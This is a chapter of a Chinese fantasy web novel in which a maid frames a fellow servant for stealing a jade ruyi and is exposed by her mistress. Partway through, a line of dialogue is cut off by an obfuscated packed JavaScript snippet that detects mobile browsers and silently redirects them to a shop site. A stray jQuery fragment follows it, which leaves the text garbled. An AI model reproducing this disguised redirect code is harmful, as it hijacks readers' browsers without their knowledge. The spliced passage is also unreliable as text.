“是你……”
黑暗的空间里,白雪在刑架上垂眸,如意,是双儿偷的。
她在报复。
“你在,报复我……”
一丝光亮透进,不知何时有人走进,阴影漫过,白雪抬眸,只看见双儿轻蔑又嫉恨得眼神,“你也配?”
一个没有修为的妖怪,一个只会扫地的下等侍女,一个在仙界天宫里的异类!
“你也配站在这里!还敢打我!”
“你这样下贱得妖,怎么敢这么装模做样得呆在天宫,一个扫地的,真是痴心妄想!”
“怎么不说话了?”
双儿看着白雪低垂得头,“你不是很厉害吗?对仙子都敢不敬,怎么,我来了,你一句话也不敢说了?”
“呵,呵呵,”
白雪轻轻笑了几下,她抬头,眼中轻蔑,“你也配。”
“你!”
像是被戳中了痛处,双儿眸中闪过恨意,下一瞬又变得猖狂,“便任你说吧!等过一会仙子过来,你定然要受刑炎惩罚!”
刑炎殿的人可不会像婉桃那样假把式,一旦确实,那白雪别说回到青阳宫了,命能不能保住都不一定。
“你要干什么?”
白雪挣扎一瞬,锁链钝钝声传出,被束缚住得女子愤道,“我根本就没拿婉桃的如意!”
“要叫仙子!”
“她都不介意,你又在介意什么!”
白雪盯着双儿,“婉桃自己都不在意我是不是直呼她名,你又为什么这样在意呢?”
双儿眼睫颤动间快速回道,“自然是因为我敬重仙子!我是她最信任得侍女!”
“那你就可以偷她的如意了吗?!”
白雪直直看着她,“你明明知道婉桃有多在意那个如意!”
“不是的!一切都是因为你!”
双儿捏紧了自己腰间的储物袋,“对!都是因为你!我只是想仙子认清你的真面目!”
可笑,东西都不是她偷的,认清谁的真面目?
是强盗逻辑还是自欺欺人,谁知道呢。
白雪闭了闭眼,双儿却上前瞪着她,“我最讨厌的就是你这副表情!”
平静冷漠,姿态隐隐间甚至还有些随意和自由——为什么,为什么都是侍女,她就能这么好命!
“都是侍女,我还是从小便在瑶池的精怪,你一个从下界来的妖怪,怎么敢这么以下犯上,甚至还叫仙子饶过你!你打了我,仙子居然只是给了你一巴掌,你凭什么!”
“我从没有被那样打过!从没有那样敢对仙子不尊,你凭什么!”
“到底凭什么!”
凭什么,你能,我不能。
双儿走近她,眼中甚至有些疯魔,白雪淡淡和她对视,然后微笑,开口,
“苦瓜精。”
“不许叫我苦瓜精!”
“我劝你这手最好不要落下,”白雪勾唇看着面前双儿高高举起的巴掌,“落下了,你也就说不清了。”
双儿今夜来,无非就是为了嫁祸——既是嫁祸,便是偷偷来到这里,留下个巴掌印,不是明摆着告诉别人有人来看过白雪吗。
“便让你再猖狂这一会!”
双儿手动了动不甘落下,她在腰间的储物袋上点了点,瞬间一柄紫色的如意就出现在她手中,白雪垂眸,那倒是个好东西——仙界少有仙侍能用上储物袋这种空间灵器的,看来婉桃平日待这小苦瓜精倒真不薄。
“这如意果然在你手里。”
“呵!”双儿不屑的笑了声,她伸手拿起紫玉如意,婉桃说了到晚上偷窃之人手腕就会出现一朵黑色桃花,可到了现在双儿手腕也是白白净净——
大抵是因为自己修为高些,双儿想。
白雪:“你想做什么?”
“自然是坐实你偷东西的事实!”
双儿得意的翘唇,“只要你触碰了这如意,我再将这如意放在你今日扫地的桃林,不一会刑炎殿的人来,你就完了!”
本来她想直接偷了如意嫁祸给白雪算了,如意便自己保存着,没想到有黑色桃花这一回事,不过还好,只要等婉桃看见白雪手上的黑色桃花,双儿再假装去桃林搜寻,挖到如意——
到时候便是双儿手腕上有黑色桃花,大家也只会说是因为她找到了如意所致,而不是偷盗了如意;而白雪,则是人赃并获,被刑炎殿的人押走,再无辩驳的机会!
“你说的对。”
白雪顿了顿抬头看向双儿,双儿皱眉,“你什么意思?”
“啪嗒。”
一声锁链落地声响起,女子悠悠挣脱所谓的刑架,似乎手腕有些酸痛,所以她轻轻晃了晃,“自然是,坐实你偷东西的事实。”
“你……你……你怎么会……”
双儿惊恐一瞬,她止不住的后退,手中的如意都险些脱落,“你,你……”
“当然,也要坐实另一件事,”
白雪轻步上前,平静的看向双儿,“你知道吗,其实我们,我们和婉桃,甚至是我们和这仙界的所有人,本来就没有什么好比的。”
“你什么意思!这到底是怎么回事——”
“啪!”
强劲巴掌声响起,双儿捂住自己的左脸大叫一声,“啊——你怎么敢,你!”
她下意识的挥动手中的紫玉如意,动作猛烈间甚至含了些杀气!
“如意!来!”
熟悉声音传来,双儿手中的紫玉如意瞬间飞出她的手心,双儿不自觉侧身,却又再看见来人的一刹那浑身僵住,“仙子……”
婉桃握住如意,她先是顿了几秒,随后上前一大步,定定的盯着双儿,“为什么?”
为什么偷她的东西,为什么要陷害白雪,为什么?
“仙子!我,我,是白雪陷害我!”
双儿腿软间顺势跪下,她指着白雪,“她挣脱了刑架,然后把,把如意放在了我手里!仙子!您要相信我!我怎么可能骗您呢!您看她还打了我,她之前便打过我!是她!都是她做的!”
说着双儿恨恨的看向白雪,“一切都是因为你!是你!”
“够了!”
婉桃大斥一声,她拿着如意指着双儿,“你闹够了没有!”
“仙子!”
双儿跪爬至婉桃脚边,她哭泣道,“真的不是我……我没想,没想害您,我真的,不是我……”
“你闭嘴!闭嘴!”
婉桃踢开双儿的手,女子微微张嘴甚至有些不可置信和痛苦,“你是本仙子最信任的人,你居然敢背叛我!”
“仙子……”
“闭嘴!”
“啊!”
婉桃一下踩在双儿的手腕上,一瞬间她狠狠的看着双儿,“你被其他精怪嘲笑的时候是本仙子指了你做侍女,这么多年本仙子哪里薄待了你,到底为什么,为什么要做这样的事情!”
“仙,啊!”双儿感受着手骨的疼痛,她内心屈辱,面上只是哭泣,“我没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634822|206406||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有……都是,都是因为白雪,因为她——”
“本仙子没有问她!本仙子在问你!你为什么背叛我!”
“仙子……求求你……仙子……”
白雪和婉桃说的时候婉桃根本就不信,她这人容不得一点点的欺骗,活了百年身边只有清莲和厉图,双儿,一直是她心里的第三个人——
她踩的愈发深了,眼里的情绪也越来越重,双儿疼的说不出话,挣扎到满脸涨红。
“婉桃。”
白雪皱眉开口,婉桃这一踩是用了灵气的,继续下去双儿这只手就要废了。
婉桃惊觉,她退开脚步,望向脚边奄奄一息的双儿,“你……”
“呵,呵呵哈哈哈哈,哈哈哈,”
令她们意外的是,双儿反倒笑了起来,她看向婉桃,“仙子怎么不继续了?”
“你说什么!”
“我那样求你,你都没有心软,这妖怪只是一句话,你就放过我了——这样,还算什么信任我?当初救我,又是装什么好人!”
婉桃几乎有些惊怒,“你,说什么?”
“我说没有人能容忍你!我做你的侍女,不是因为你救我,而是因为只有我愿意!哈哈哈你这样的性子活该得不到人喜爱,你就活该!这仙界没有一个人喜欢你,所有人都——唔呃——”
“你找死!”
“你……放过我……求求……”
眼见着双儿被婉桃隔空掐脖而起,白雪皱眉,只觉得现在愈发混乱了,可偏偏眼前两人的情况实在胶着——
“咚”一声双儿落地,婉桃凝神望向门外,轻轻风吹,却又安静得很。
白雪:“是刑炎殿的人?”
婉桃摇了摇头,也许是她感觉错了,随后女子又看向地上挣扎的双儿眼神愤恨又复杂,这如意失窃的事情入了刑炎法册,便是此刻不来,后面也是要解决的。
“你现在要怎么办?”
“我不知道,”
婉桃顿了顿,看向白雪时情绪有些压抑,“其实,若没有你……”这一切都不会发生。
“是你先找上了我。”
白雪和她对视着,“婉桃,世间的账没有这样算的。”
她不哭不闹不恨,不代表她来到这里是自愿,没有受欺负,没有受委屈,哪怕今日做局,她也是被诬陷的人,甚至还在这架子上挂了半夜——可她什么都没有说。
婉桃垂眸,“我知道……谁!”
她侧身站在离门近的地方,偏偏一阵玄金灵气掀过,直冲婉桃而来——
月色寒凉,一身白衣的青年执剑而立,白雪没有看清他的面容,只是衣袖下的指尖颤了瞬,知他剑气含血,衣袍沾霜。
是玄曜。
……
“玄曜仙君……”
伴随着婉桃的喃喃声白雪垂眸一瞬,随后女子便走到一处干草堆前抱起大黑扫帚,在所有人的目光下乖巧的走到了青年身边,玄曜看了她一眼并没有说话,白雪掸着大星身上的干草也没有说话。
婉桃捂着胸口咳咳了几声,缓和下来后也有些心虚和不知所措。
“我来带我的人走,诸事,往后再算。”
“可,”见他们要走,婉桃还想挣扎,玄曜看了她一眼,她便一瞬间噤声。
安静中白雪也抬眸看了婉桃一眼,用眼神摇了摇头。
婉桃顿了顿,此处一地狼藉,昏光中她只是看向即将离开的白雪,
“这一局,是我输了。”